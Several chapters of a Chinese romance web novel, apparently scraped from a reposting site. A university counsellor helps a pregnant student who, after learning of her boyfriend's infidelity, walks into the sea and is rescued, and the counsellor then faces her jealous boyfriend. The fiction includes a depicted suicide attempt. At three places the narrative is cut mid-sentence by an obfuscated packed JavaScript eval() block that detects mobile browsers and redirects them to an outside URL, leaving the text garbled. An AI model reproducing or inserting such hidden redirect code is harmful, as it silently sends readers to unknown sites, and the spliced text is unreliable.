陈夏柠没继续看下去,书记发消息让她去会议室,走出办公室门口,迎面撞上过来的裴青寂,他正抱着一摞同学们签的诚信考试承诺书。 “早上好啊,你放我办公桌上就行,我去开会。”她对他轻笑了下,摆摆手留下一道背影。 裴青寂杵在原地,盯着那道背影傻笑,直到消失于拐角,他才肯收回视线。 从楼道上来的林思恰好撞见这一幕,端详着裴青寂的表情半晌。 他进办公室瞧见她工位乱糟糟的平安果,极为认真地整理好,顺便又把她桌面的文件也摆放得整齐。 这办公室现在就他一人,再三犹豫下,裴青寂从口袋里掏出一个白色的方形盒,打量着她的办公桌,差不多每个角落都试了一遍。 不能太扎眼也不能存在感太低,于是觉得电脑底下的空格支架里刚好,只要她一坐下,就能一个人看见。 裴青寂刚把东西放好,身后响起的声音吓他肩膀一颤:“裴班长,在干什么呢。” 他转身看向林思,人已经迈步走过来了,还未等他编好理由,林思了然于心地笑了笑:“给陈老师送圣诞礼物啊。” “嗯。”裴青寂目光看向别处,“别的班长都送了,我总得表示一下。” “你的礼物好像跟别人的不一样。”说着林思就把他塞进去的方形盒拿出来,一掀开是个手链,“哎呀,你可真有心,陈老师肯定会喜欢的,不过啊,你也太直男了,怎么能把礼物塞到这里呢。” “啊?”裴青寂一脸懵,第一次送礼物什么都不懂。 林思拍着他肩膀,笑意盈盈道:“你算是陈老师最看重的学生了,她平日多关照你,我们都知道。你这手链送的不错,但还不够,应该再配一束花,把这手链塞进鲜花里,陈老师拆鲜花看见礼物,你想想她该有多惊喜。” 裴青寂挠了挠头:“是挺惊喜的。” “所以说啊,你应该当面给。”林思当即把方形盒递换给他,继续点着他说,“陈老师每晚都去艺术楼排练,别太张扬。” - 今晚所有导员都穿上了正式礼服,在念台词的时候,文瑞就现场拿着摄像机拍摄,提前看看效果,然后揪出谁的表情管理不对。 “陈老师,你可以再表现得开心一点,莞尔一笑,唇角微微上扬。”文瑞导演手舞足蹈地给她做示范。 按照指令笑了一遍又一遍的陈夏柠:“......” 文瑞走之后,身侧的祝朗月用胳膊肘撞她一下,“漂亮的小姐姐,漂亮的礼服,绝对艳压元旦晚会全场。” “......你别打趣我了。” 陈夏柠觉得自己的脸都僵了,转去衣架取下自己的棉袄穿上,祝朗月跟过去说:“本来就是,夏柠真的好美好性感哦。” “多想夸奖,你也很漂亮啊。”陈夏柠提着裙摆,拎着饭盒去隔壁找温可颜,把饭盒给她,自己就走了。 因为室外实在太冷了,她这礼服真薄,只想赶回家换掉。 陈夏柠乘坐电梯下楼,抵达一楼,空荡荡的大厅吹进一阵穿堂风,快把人冻没了。 她缩着脖子,打算从后门出去。 “导员。” 陈夏柠听到熟悉的声音闻声回头。 裴青寂快步跑过来,看见这么耀眼美丽的陈夏柠,捧花的手不自觉颤抖:“圣诞快乐,谢谢你一直以来对我的关照。” 盯着他捧上前的红玫瑰,陈夏柠蹙起眉,眸色一沉,没有要接下的动作:“谢谢,心意我领了,这花你还是退了吧。” “你...你不喜欢玫瑰吗?”裴青寂顿了一下,笨拙地交代,“我去买花的时候,店员跟我说女孩子都喜欢玫瑰。” “裴青寂!”陈夏柠倏然严肃看他,不知他真不懂还是假不懂,义正言辞道:“我喜欢什么花,我男朋友自然会给我买,你是我的学生,实在没有必要给我送这些。” “我对你的关照完全是因为我工作职责所在,在我眼里,你们就是我的弟弟妹妹一样的存在,任何人有困难我都一视同仁。” 裴青寂顿时泄了气,悬空的双手收回,将玫瑰花揉在怀里,“原来,你有男朋友了.....” “对。”陈夏柠看他这失望的表情,更加笃定他的心思,干脆利落道:“以后别在我面前做这些无意义的事了,送花不要送错人。” 她冷得瑟瑟发抖,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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陈夏柠心口一紧,给周祈越发消息:【你还好吗?我看见新闻了。】 他一时半会没回复,估计在忙于救援。 晚上陈夏柠往艺术楼进的时候,才收到他的消息:【刚看手机,放心,你对象厉害着呢,没什么事。估计这几天有得忙了,没法回家,你记得好好吃饭,按时喝中药。】 她悬着的心稍稍放下:【好,你也是,记得吃饭。】 刚发完消息,陈夏柠乘上电梯,身后跟着几个浓妆艳抹的女生一同进来,听她们的聊天可知,她们是隔壁航天大学的学生。 “距离元旦没几天了,海大临时跟我们借人,太突然了吧。” 一个扎着满头编发的高个女生应声:“谁让海大是本市元旦晚会的主会场呢,我们学校也没理由拒绝。” “航海学院的女生太少了,只能拉我们充数了。” 电梯门开的时候,陈夏柠又刚好跟她们顺路,瞧着她们进了隔壁的房间。 原来是这样啊,昨天还听见林思跟书记抱怨,导演让合唱团多加几个女生,可是时间这么赶,总不能再重新训练一波人吧。 不过跟隔壁学校借现成的演员,挺有想法的。 距离元旦已经没几天,文瑞导演比平日多指导了二十分钟。 大家台词念得口干舌燥,陈夏柠从包里掏热水壶,想起要给温可颜送粥。 她出去的时候,隔壁排练结束,一蜂窝涌在过道里。 人头攒动,陈夏柠也没法挤上前喊温可颜,发现有个女生粗鲁地拉着她往楼梯口进。 她觉得情况不太对劲,悄悄在身后跟着,停在门外透过虚掩的缝隙看清楚里面的两人。 “蒋梦!”温可颜扯开她的手,清凌凌地看她,“你和江澈已经是过去式了,何必还要这么纠缠下去。” 这个叫蒋梦的女生,方才她在电梯里见过,就是那个满头编发的女生。 “温可颜你也真够蠢的,被江澈耍得团团转,还在那傻傻地以为自己暗恋成真了。”说着,蒋梦翻出一个微博账号,该账号参与话题#年少的暗恋后来怎么样了#,并讲述了自己的暗恋故事。 温可颜神色一怔:“你怎么知道我的微博账号?” 蒋梦没回答,继续看着上面的内容,“写的真好啊,但江澈是什么样的人你真的不知道吗?” 温可颜讷讷道:“他以前的确很混,现在都改变了。” 蒋梦冷笑一声,凑到她耳边说:“那你知不知道,江澈带我去过医院做人流的事啊?” “......什么?”温可颜呼吸一滞,不可置信地看她。 “不相信是么?”蒋梦随即翻开手机相册,把证据甩她脸上,“这里是我做流产的凭证,还有他睡在我旁边的照片......” 顷刻间,温可颜脑袋嗡嗡响,眼睛似乎模糊不堪,整个人脚下虚浮,无力地靠在墙壁。 “不...不可能....”她摇了摇头,哽咽一下,“这是假的,你在骗我对不对?” 蒋梦呵呵一笑:“那我问你,江澈的大腿根上是不是有烫伤?他胸口正中央还有颗痣。” 温可颜捂着胸口,快要喘不过来气。 “知道我为什么这么了解他吗,因为我曾经也和你一样,被他迷得鬼迷心窍,跟他上了床。”蒋梦越说越激动,眼神充满恨意,对视着温可颜,“你不会真觉得一个浪子是干净的吧。” “我现在告诉你,他就是一个烂黄瓜!” “只有你温可颜还天真地感动着他为了你浪子回头!” “......” 温可颜背靠墙壁滑了下去,蹲在地上,握着耳朵,眼泪喷涌而出。 “别说了....别说了.....” 80. 识人不清 想起有身孕的人情绪不能这么激动,陈夏柠什么都不顾地推开门,跑到温可颜面前,蒋梦惊了一下,不知道什么情况,转身就走了。 “温同学,你冷静一点,”陈夏柠也蹲着,捧着她的脸,让她跟自己照做,“深呼吸,呼气,吸气。” 温可颜捂着肚子,眼角的泪淌过之处留下痕迹。 “你听我说,不要仅凭一面之词去敲定一件事,你先等江澈回来当面问他。” 虽然陈夏柠之前并不看好她和江澈,可看到温可颜这种濒临崩溃的模样,实在于心不忍,“好好照顾自己,爱护自己,这不是你答应我的么?” 温可颜眨了眨眼,慢慢冷静下来。 须臾,陈夏柠牵她起来,小姑娘仍旧捂着肚子,走路都困难。 陈夏柠在网上查了很多怀孕的知识,大约能猜出来她刚刚情绪激动,应该是动了胎气,“我带你去医院。” 温可颜被她搀扶着,两人从楼道间出来,乘电梯到一楼的时候,陈夏柠左顾右看,就算是打车,出租车也没法进校园啊,这距离校门口还有一段路程呢。 倏然,池一舟从电梯里后脚跟过来,直奔主题:“我的车就在门口,我送你们。” 陈夏柠愣了三秒,实在不知该怎么跟池一舟解释这情况,但温可颜额头已经在冒虚汗,也顾不得什么,架着人坐上了车。 池一舟抄近道把车开进附近的六院,先是去急诊挂号,陈夏柠又带温可颜去妇产科,一番折腾下来,临近晚上十点。 温可颜没有流产,因为动了胎气肚子疼,正躺在病房里输液。等人睡着了,陈夏柠才悄悄出来。 去住院门口的贩卖机买热饮时,撞见池一舟正坐旁边的台阶上抽烟。 陈夏柠走到他跟前,递给他一杯热豆浆,“很晚了,回去吧。” 池一舟把手里的烟掐掉,犹豫地问:“她...还好吗?” “暂时没事了。”陈夏柠就站在一边,艰难地拧豆浆袋的盖子。 “导员。” “嗯?”陈夏柠总算把盖子拧开了,掌心擦出一道红印。 池一舟松松散散地坐着,面无表情地盯着地面,“其实那天在校医院,我没走,医生跟你说的话,我都听到了。” “......” 陈夏柠送到嘴边的豆浆悬停在空中,屏住呼吸,看见男生苦笑一声:“你放心,我也会保守秘密的,不让她受到伤害。” 突然间,也很心疼池一舟。 但又能怎么办呢,这两人真就没缘分。 池一舟站起身瞧着她,眼角弯了弯,发自内心地说::“陈老师,你是我见过最不一样的老师,因为一直都在站在学生的角度考虑问题,一直都在用你的方式保护和引导我们。” 如果换做其他导员,一定会站在道德的制高点,一昧地批判和指责学生。 年少识人不清,会犯错,会受到伤害,这些都是常态。 陈夏柠只希望尽自己所能,帮温可颜走上正轨。 - 第二天上午,温可颜输完液从医院回校,陈夏柠也不知道江逸风最近怎么这么闲,在校门口见他的频率真高。 碍于她扶着学生路过,江逸风只跟她对视一眼,没走上前。 温可颜觉得自己已经够麻烦她了,说自己可以独自回宿舍。 陈夏柠站在七号犹疑了半天,主动转身朝江逸风走过去,两人来到路边一个红色电话亭。 江逸风正欣喜她肯理自己了,悠哉悠哉地倚在电话亭,一支烟放到嘴边没来得及点燃。 “你知道江澈什么时候回来吗?”陈夏柠一副火烧眉毛的样子,“或者你现在给他电话,让他快点回来。” 江逸风没问什么事,就直接照办了。 她也是刚知道,按照原定计划,江澈还需要在北京再待半个月。 温可颜这情况,别说半个月了,一天都是煎熬。 江逸风对着电话那边,命令道:“少废话,什么破集训那么长啊,元旦之前必须回家吃团圆饭懂不?” 没想到堂哥的话真管用,在元旦的前一天早上,江逸风给她发消息:【刚接到人,在我车上呢,需不需要我把他绑到学校。】 陈夏柠正拎着盒饭从家里去学校的路上,干脆回消息:【那你赶快把人绑到女生宿舍21号楼。】 今天是周日,连着明天在放元旦假,只有艺术楼那边如火如荼地排练节目,现在整个学校都挺安静,这帮学生不睡到日上三竿是不肯起来的。 陈夏柠给温可颜发消息的时候,她回得很快,说自己已经起来了。 不过就是两三天的功夫,这小姑娘憔悴了很多,陈夏柠看着就心疼,先带她去七食堂,督促她吃自己做的营养餐。 “江澈已经回来了。” 闻言,温可颜喝粥的动作一顿。 “你们好好聊一聊。”陈夏柠这几天给她做了很多思想工作,循循善诱道,“这件事不能拖了,很快你的肚子就会显怀,留或者不留,你总得拿一个注意。” “好。”温可颜很平静地点头,想来这几天对她的开导有用,无论是什么结果,她都愿意接受。 七食堂距离21号楼很近,回宿舍的必经之路,说来也巧,两人从食堂出来时,江逸风带着江澈路过,四人打了个照面。 江澈见到女朋友自然是高兴的,二话不说牵起她的手,陈夏柠和江逸风自然不当电灯泡。 江澈拉着她散步,说了自己在北京的训练情况,一路慢悠悠地走到学校西边的草地上,那边还有座英式木屋,都是情侣爱去的地方。 虽然草地枯黄,今天的阳光很温柔,江澈每次来学校找她的时候,也喜欢来这陪她晒太阳。 但今天她沉默了一路,江澈以为她累了,拉着她走到一排樟树下,擦了擦长椅示意她坐下。 温可颜没坐,就这么呆呆地看他,眸色幽深:“我看见你和你爸的聊天记录了,他让你跟我分手,你会跟我分手吗?” 江澈急忙揽着她双肩说:“颜颜,你相信我,我一定会说服我爸的。” “哦,你很喜欢我吗?” “喜欢。”江澈一字一顿道:“很喜欢。” 温可颜扯了下唇角,死气沉沉地看他:“既然喜欢我就不要骗我。” 接下来的话也直白得可怕:“我问你,你和蒋梦什么时候上的床啊,你带她去做人流的时候又是什么样的心情?” “......” 江澈一整个僵住,表情惊恐和慌张,被噎得说不出一句话。 温可颜当即甩开他的手,目光沉静又让人陌生得可怕,“是在我跟你闹分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14864092|148203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手的那个晚上对么,这么耐不住寂寞啊,转头就去找前女友睡了。” “不是!”江澈抬高音量,跟她对视的瞬间,没了底气,“那天我...我喝醉了,在酒吧撞见她,就稀里糊涂的......” 温可颜:“哦,即使没有撞见蒋梦,你也能随便拉一个陪酒女跟你睡吧。” “......颜颜。”江澈只觉得受不了她这种阴阳怪气,抓住她的手恳求,“这件事是我做的不对,我向你道歉。” “道歉?”温可颜哂笑一声,“江澈,我让你现在跟我结婚,你做得到吗?” “再给我点时间。”江澈拧着眉,犹豫一下,“我跟我爸最近的关系闹得比较僵,等我说服他让我们在一起。” “那要是他一直不同意呢?”温可颜抬眼盯着他所有的微表情,“你怎么不说,就算他反对,就算你放弃江少爷的身份,也要跟我在一起啊。” “......” 江澈握着她的手松了些力度,为难地闭了下眼。 让一个含着金汤匙出生的人去放弃荣华富贵,你未免也太高看自己了。 温可颜。 她猛地甩开他的手,撂下一句:“我们分手。”转身就走。 江澈快步把人拦住,微红着眼:“我不同意。” 温可颜攥紧拳头,将那些最伤人的话说给眼前这个她深深喜欢的人,““我现在看见你这张脸就觉得特别恶心,甚至觉得被你触摸过的我,都恶心。” “......” 另一边。 陈夏柠趁着没事,去海大西点房逛了一圈,临近新年西点房上新了许多新品,江逸风非要在她身后跟着,她干涉不了,也不理他。 “喂,你变脸也太快了吧。”江逸风愤愤不平道,“利用完就甩啊。” “......” 西点房的位置和草地隔了一条路,站在玻璃窗可以观望到外面谈话的两人。 也不知道情况怎么样了。 温可颜小跑着朝这边时,陈夏柠趁机出去拦住她,女生决绝地开口:“导员,我想去做人流。” “我跟你一起。” 陈夏柠说话时有意避讳着什么,揽着温可颜的肩膀走,边掏出手机打车。 这两人神神秘秘的样子,江逸风只觉得可疑,虽然陈夏柠一直不说催着江澈快回来干嘛。 跟江澈发消息,他只说被莫名奇妙地分手了。 出了校门口,陈夏柠拦了辆车,两人一并坐进去。 一路上,温可颜表现得极为平静,像是坦然接受了这件事。 江逸风开着车偷偷跟在后面,看见车子停在医院,心里某种猜测愈发强烈了。 挂完号办好手续,就等着做手术了。 陈夏柠陪她坐在手术外等着,温可颜倏然说:“老师,我好渴,你能帮我买瓶水吗?” “好,你等我一下。”陈夏柠站起身,沿着走廊到拐角的时候想起手机在包里,谁知一转身,温可颜已经不在原地坐着,背影消失在电梯口。 她急忙跟过去,电梯门已关,显示往一楼。 陈夏柠捞起包,从楼梯口下楼,边给她电话没人接。 给她发语音消息:“温可颜,你去哪?你要是不想做就不做,别乱跑。” “……” 81. 修罗场 “快点,快跟上前面那辆车。” 陈夏柠从医院跑出来后,温可颜已经拦车走了。 原本就守在医院门口没走的江逸风冲她鸣了下笛,她也顾不得什么了,拉开车门坐进去,气喘吁吁地说让江逸风跟上那辆车。 医院门口车辆本来就拥挤,往前行驶百米又遇到红灯,陈夏柠急得四肢发颤,握着手机给温可颜一遍遍地发消息。 都没有回应,打电话也显示关机。 “你先系上安全带,”江逸风放大显示屏的路况,不紧不慢道,“我能跟上。” 说着男人猛地打转方向盘左拐,陈夏柠还不懂他在干嘛,直到车辆从支路驶出去,又进入主干,才明白他在抄近道。 好不容易前面的车流量减少,两辆车的距离越来越近,但出租车又拐进了跨海大桥上面。 他们这辆车又被挡在后面,陈夏柠悬着一颗心,抬头看见指示牌的方向——朝阳岛。 温可颜去朝阳岛干嘛。 电光火石间,陈夏柠想起第一次遇见温可颜和江澈,就是两人在朝阳岛旅游。 “你弟弟的手机号。”她扭头看了眼江逸风,他抽出一只手拨通号码,直接把手机给她。 滴声三秒,电话拨通,陈夏柠冲着那边喊:“江澈,温可颜去了朝阳岛,你想一想她有可能去的地方?” “她去哪干嘛?”江澈语气慢悠悠的,一点危机感都没有。 陈夏柠的火气立马窜上来:“你有没有良心!害得她怀孕,又不愿意负责,她今天要是有什么意外,以后有你后悔的!” 旁听的江逸风指尖一顿,果然,他猜的没错。 江澈沉默了三秒,诧异着:“她...她怀孕了?!” “......” 根据江澈所说,上次离开朝阳岛的时候,温可颜说,星月湾很美,下次可以趁着冬天下雪的时候来,她想看看海边的雪景。 其实海云市就很少下雪,朝阳岛更是个四季如春的地方,实在没人见过海边下雪的场景。 跨海大桥的行驶有限速要求,开车最快也得半小时,陈夏柠躺在副驾驶上,心跳七上八的。 忽然,手机铃声响了。 她浑身一激灵坐起,以为是温可颜回电话,结果是周祈越。 “柠柠。”他开口,声音被风吹的稀疏,倒也能听清,“你打算今晚去吃团圆饭,还是明天去?” 周祈越指的是带她回家见父母的事,明天就是元旦了,说好的就这两天。 “你是在外面吗?”听筒传来的呼呼风声,陈夏柠自动带入觉得很冷,这大冬天的。 “嗯,我正在港口,刚结束完任务,正准备回去了。”周祈越咳嗽两声,嗓音沙哑,像是撑着意识跟她谈话。海上搜救就是这样,每次执行完任务,每个人既疲惫又紧绷。 “等你话呢。”他拖腔带调地问,“在干什么呢?” “明...明天吧,我今晚要准备元旦汇演,明天上午结束后我再跟你回家。”陈夏柠手机紧紧贴在耳边,正思量着该怎么跟他说自己现在的情况。 原本心里就乱着,偏偏这个时候主驾驶的人咳嗽了一声,周祈越追问:“你旁边有人吗?” 陈夏柠当即握紧手机,瞥了眼江逸风,急于掩饰:“是...是我同事。” 周祈越那边嗯了一声。 陈夏柠转移话题:“你早点回去吧,或者先去基地睡一觉。” 两人没继续聊下去,挂完电话,陈夏柠先是冷眼瞪着江逸风,“你刚刚是不是故意的?” “还不让人咳嗽了?”江逸风一副无辜的模样,挑眉反问:“再说,你对你们的感情就这么没信心?” “......当然有!”陈夏柠怼他一声,留意到已进入朝阳岛,思绪又转回来。 现在不是旅游高峰,朝阳岛又恢复成一座孤岛模样,蜿蜒的公路畅通无阻。 目前的情况是,他们跟丢了出租车,温可颜会不会去星月湾也未可知。 江澈发消息说自己也快到朝阳岛了,陈夏柠和江逸风先去星月湾,并吩咐江澈找当地的公安局求助,查一下入岛的监控会好办很多。 晌午时分,阳光在海水的反射下光芒四射。 当汹涌的海浪声穿透耳膜时,陈夏柠扭头看向窗外,茫茫大海涌入眼前,他们已经进入非常靠近海岸的公路。 “那边是不是有人?”她视线有些模糊,又很努力地眨了眨眼。 江逸风朝她指的方向望过去,踩下刹车,“好像是。” “咔嚓”一声,陈夏柠解开安全带,拉开车门,快速跑出去。 “诶,夏夏?!”江逸风根本喊不住人,等他把车停好,陈夏柠已经沿着路边入口下去。 她好像忘记了恐惧,一心只想着救人,在呼啸的冷风中,在沙滩上狂跑,梦里的场景快速闪回。 海浪层层拍打岸边,温可颜绝望地向前走去,想起上次是她提议来朝阳岛旅游。 因为那几天江澈跟父亲起了冲突,被扇了一巴掌,他情绪低沉也格外暴躁。 旅游的时候,即使他发脾气,她也不计较,懂事又有耐心地陪着他,想方设法地哄他开心。 在星月湾钓鱼,江澈压根不专心,就蹲在筏排边缘看着她认真的样子,瞬间玩心大发,指尖沾了点水扑腾她脸上,温可颜也趁机反击泼他。 两人玩起了打水仗,最后衣服湿透,江澈揽着她回酒店,时不时捏了捏她的脸,看着心情不错。 当时温可颜洗完澡从浴室出来,江澈猝不及防地亲了下她的脸,“谢谢颜颜哄我开心。” “那,你跟我在一起开心吗?”她问。 江澈双手搭在她的腰上,勾着嗓音说:“你跟我做,我更开心。” “......” 温可颜算是他谈的时间最长的女朋友,恋爱期间她会感到患得患失,害怕他不会喜欢上她,害怕他们会分手,她一直都在用自己的方式打动江澈。 但她一直很乖,哪怕江澈对她动手动脚,她也不敢跟他做那种事。 温可颜认真地问:“为什么?” “因为我喜欢你。”江澈说着已经吻上来。 他的一句我喜欢你,就让她溃不成军,温可颜没有反抗,将自己全部交付于他。 事后他还跟她说,那是他的第一次。 现在想想,他估计跟每个女朋友都是这么说的吧。 他真的喜欢她吗? 或许只是喜欢跟她做/爱而已。 一个急于占有你身体的人,就无心再了解你这个人了。 这几天,温可颜脑海里只有一个念头,她觉得自己很脏,很脏。 此时此刻,冰凉的海水浸透着她的身体,没入她的胸口部位,接下来她只需要让海水淹没头顶,然后她就觉得自己干净了。 “温可颜,温可颜......” 陈夏柠跟随着她进入海里,及时抓住了她的手,将她整个人往岸边拉,“你不要做傻事,好好活着好吗?” 此时,温可颜像一个被剥夺意志的木偶,毫无求生的欲望。 陈夏柠头昏脑涨着,周身的海水似乎让她失去了所有力量,然后意识也被剥夺,只听到一些只言片语。 “夏夏.....夏夏......” “来人啊,快救人啊!” ...... 也不知过了多久,陈夏柠再次有知觉的时候,是浑身酸疼,非常冷。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14873438|148203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 四周黑漆漆的,她也不知自己在哪。 忽然,眼前的场面像放电影一样播放。 蔚蓝的海边沙滩,倒映出两道你追我赶的影子。 看到这,陈夏柠意识到还是那个梦。 小女孩追着小男孩跑,看着生气实则勾着唇角在笑:“你给我站住!周七月,周七月......” 小男孩回头做了个鬼脸:“你不也爱给我起绰号。”理所当然地喊她,“小柠檬,小柠檬......” “你就是周七月.....”小女孩停在原地跺着双脚,口中不停地重复那个名字。 周、七、月。 陈夏柠动了动嘴唇,叫着这个名字,眼睫翕动着,缓缓睁开眼。 映入眼帘的是周祈越的脸,他抬手摸了摸她额头,眉梢紧皱着问:“有哪不舒服?” 陈夏柠转了转杏眸,愣了十秒,说自己渴。 周祈越将她扶起来,坐在床沿举着杯子往她嘴边送。 喝水的间隙,陈夏柠扫视了眼床上的白棉被,左手扎着针输液,墙根掉落着层层石灰壳,病房里简陋的只有一张床和两个凳子。 “这...这是在朝阳岛么?”陈夏柠看了眼自己身上的蓝白病服标志,问周祈越,也纳闷他怎么会在这。 “嗯。”周祈越点点头,将水杯放到凳子上,坐在床沿淡淡地打量着她,“今天是元旦。” “啊,我睡了这么久?”陈夏柠想起正事,猛地抬头,抓住他手臂,“温可颜怎么样?” “她没事,也抢救过来了。”江逸风推开病房门走过来。 一时间,病房里待着三个不该同框出现的人,气氛悄然微妙起来。 这场面绝对称得上修罗场。 陈夏柠下意识看向周祈越,他神色淡淡,将身上的棉袄脱掉给她披上,没什么情绪地说:“这瓶水输完我带你去市医院做个全面检查。” “好。” 江逸风捞起凳子坐下,翘着二郎腿,咂了咂嘴:“你这个男朋友当得可真称职啊,遇到危险的时候还是我救你女朋友。” “......” 周祈越面色未改,这才挪过视线看他,吐出两字:“多谢。” 不知道为什么,陈夏柠望着他此刻的模样,心口隐隐发紧,伸手揪住他袖口,“周祈越,我......” “有什么话回家再说。”周祈越倏然打断话,看她一眼。 陈夏柠点点头:“嗯。”随即平视着旁观的江逸风,他正一副看热闹不嫌事大的模样,直白道:“你可以走了。” 江逸风扫了眼周祈越那不好看的脸色,站起身不忘添油加醋:“你俩千万不要有什么隔阂啊,夏夏只是请我帮了个忙而已。” 陈夏柠:“......” 江逸风走后,周祈越大概给她说了下情况,昨天在星月湾参与抢救的有打鱼回来的渔民,所以她们才没被海浪卷走。 而温可颜昨晚就转到海云市医院,陈夏柠因为高烧未退,不方便转院,所以才在这待着。 过了半小时,最后一瓶药水输完,护士给她拔完针,确认她退烧了,准许出院。 她原有的衣服已经湿透,不能穿了。周祈越在镇上给她买了套毛绒睡衣,让她把病号服换下来。 又用长袄裹住小姑娘,把人抱上车。 车内开着暖风,很暖和。 周祈越启动车子,陈夏柠缩在副驾驶,怯生生看着他:“那是江逸风打电话让你过来的么?” 周祈越正视前方,不咸不淡道:“你觉得呢?他会打电话给我?” 感受到他的情绪,陈夏柠咬了下唇,巍巍颤颤着:“我觉得他没你手机号。” “......” 82. 渣女 周祈越还是没跟她说,谁通知他来的,扭回头自顾自地开车,甩下一句:“回去再收拾你。” 陈夏柠:“......” 收拾,我? 他这般严肃的模样,不像是开玩笑逗她玩的。 陈夏柠心里发怵,赶紧掏出手机在浏览器打字“男朋友生气了怎么哄”,还没检索出来,微信跳出弹窗。 江逸风:【记得回去好好休息,多喝点姜汤暖身。】 要不是他发这个消息,陈夏柠都忘记又加了他微信这事。 一个异性给她发这种关怀的内容,搞得好像他俩很暧昧,说得再严重点,她像个渣女。 现在的情况是,正牌男友就坐在她旁边,而男友的情敌在跟她嘘寒问暖。 天呐,太可怕了。 陈夏柠瞬间觉得自己里外不是人,忽视这条消息,点击对方的头像,选择删除好友。 等把人移除自己手机,她瞄了眼周祈越,那种做贼心虚的感觉才消逝。 不知不觉间,奔驰大G驶入繁华都市中,太阳已有西沉的迹象。 原本陈夏柠不觉得有必要做什么检查了,但周祈越态度很强势,她这溺水虽然没有皮外伤,但有没有内伤,呼吸感染这些问题,还是查查放心些。 全身检查一整套流程,倒也繁琐,还好有护士带着,陈夏柠做头部和胸部CT时,周祈越只能在外面等着。 临近傍晚时分,走廊内的人流量渐少,天花板上的白炽灯把地板照得极为亮堂。 周祈越敞开腿坐在长椅上,双手环抱在胸前,微仰着头靠在墙壁,长呼一口气。 从昨晚到现在,压根没消停过,总算能松口气闭目养息。 他把陈夏柠的包塞进怀里,准备就着这个姿势睡一小会儿,不知怎的,“叮咚”的震动声接二连三地响起。 周祈越掏出她的手机,机身还在震动...... * 陈夏柠检查完,结果出来的也很快,医生说没什么大问题,只说让她多休息,以后注意安全。 周祈越给她拉好棉袄拉链,沉着脸没什么话,拉着她往外走。 “我想去看看温可颜,不知道她情况怎么样了?”陈夏柠快步跟上他。 “她在城东医院,不在这。”周祈越慢条斯理道,“人已经醒了,她妈妈在陪着,想去明天再去。” “哦哦好的。”陈夏柠悱腹总算联系到她家里人了,之前她也试过想联系温可颜的家长,结果在她个人信息,父母那一栏的联系方式中,打出去的号码全是空号。 “江澈跟你说的吗?” “不是。”周祈越神色未明地看着她,拉开车门让人坐进去,没再说什么,绕过车头,回到主驾驶。 回家的一路,车内安静得过分,似乎气氛比从朝阳岛回来时还要紧张。 抛开那些乱七八糟需要担忧的事,陈夏柠觉得她自身难保。 他说要收拾她来着。 1302门口,周祈越输入她家密码,房门挪开,又砰的一声关上。 感受到危机来临,陈夏柠猛然想起在网上搜到的哄男朋友的方法,也顾不得什么面子了,抢先掌控主动权。 周祈越换好拖鞋,刚站起身,陈夏柠就贴身靠上来,将他压在墙壁。 小姑娘仰头踮起脚,双手攀上他的脖颈,唇角似有若无地碰到他的喉结,辗转往上亲着他下颌。 动作生疏又僵硬地讨好着他。 周祈越垂下眼睫,瞳孔漆黑,好似海底深渊。 在陈夏柠的唇快要贴上他的,他抢先敷下去,轻咬着她唇角,像舔舐瓶口的蜂蜜,一点点又耐人寻味地品尝,随后顺着攻势往上。 周祈越跟她接吻的同时,伏低腰身让她站稳,搭在她腰侧的两只手缓缓往下,托住她的臀部,陈夏柠极为配合地抬腿,整个人挂在他身上。 周祈越一手按住她后颈,一手环在她腰上,迈步往客厅进,抱着她坐在沙发上。 陈夏柠双手仍搭在他肩膀,莹润的眼眸瞧着他,作势还要亲他。 周祈越捏住她的下巴,看向她的眼神极为复杂,默了几秒:“说实话,我们接吻、拥抱,你心里想在什么,我越来越猜不透,甚至有时候都觉得被你隔绝在外。” “……”陈夏柠敛眸,屏住呼吸。 周祈越将搭在他肩膀的手放下,回握在掌心,目光灼灼,沉声道:“你没有什么想跟我说的么?” 他难得这般严肃模样跟她说话,陈夏柠眼睫一沉,斟酌了下语句:“对不起,让你担心了,这次事出从权,所以才......” “他纠缠你多久了?”周祈越打断话,直接了当地问,“江逸风。” “最近是因为他堂弟江澈跟我的学生温可颜是男女朋友,两人感情出现了问题.....” 说到这,陈夏柠意识到要把话说清楚,否则他俩感情也要有问题了,“其实怀孕的是温可颜,我作为导员,一直在疏导她,拜托江逸风让江澈从北京回来,结果昨天两人见面谈的不好,温可颜有轻生的念头,当时也没顾得上什么,就坐上了他的车,追着温可颜乘坐的出租车到朝阳岛。” “所以,昨天我跟你打电话的时候,你就在车上,”周祈越说,“你说的同事其实就是江逸风。” 陈夏柠轻嗯了声,谎言被拆穿的心虚感涌上心头。 “那我再问你,上次你一回来就跟对我又搂又亲,手上还带着伤又是怎么回事?” 周祈越盯着她一脸“为什么要提这事”的表情,从她包里掏出手机,打开短信。 彼此都知道对方的手机密码,周祈越也从不窥探她的隐私,搞什么翻手机查对方一套,而是在医院的时候,她屏幕一亮跳出一条信息。 【又删老子微信,信不信我继续堵你。】 看到这句,下意识觉得她被什么人威胁或者骚扰了。 接下来后面还有两条: 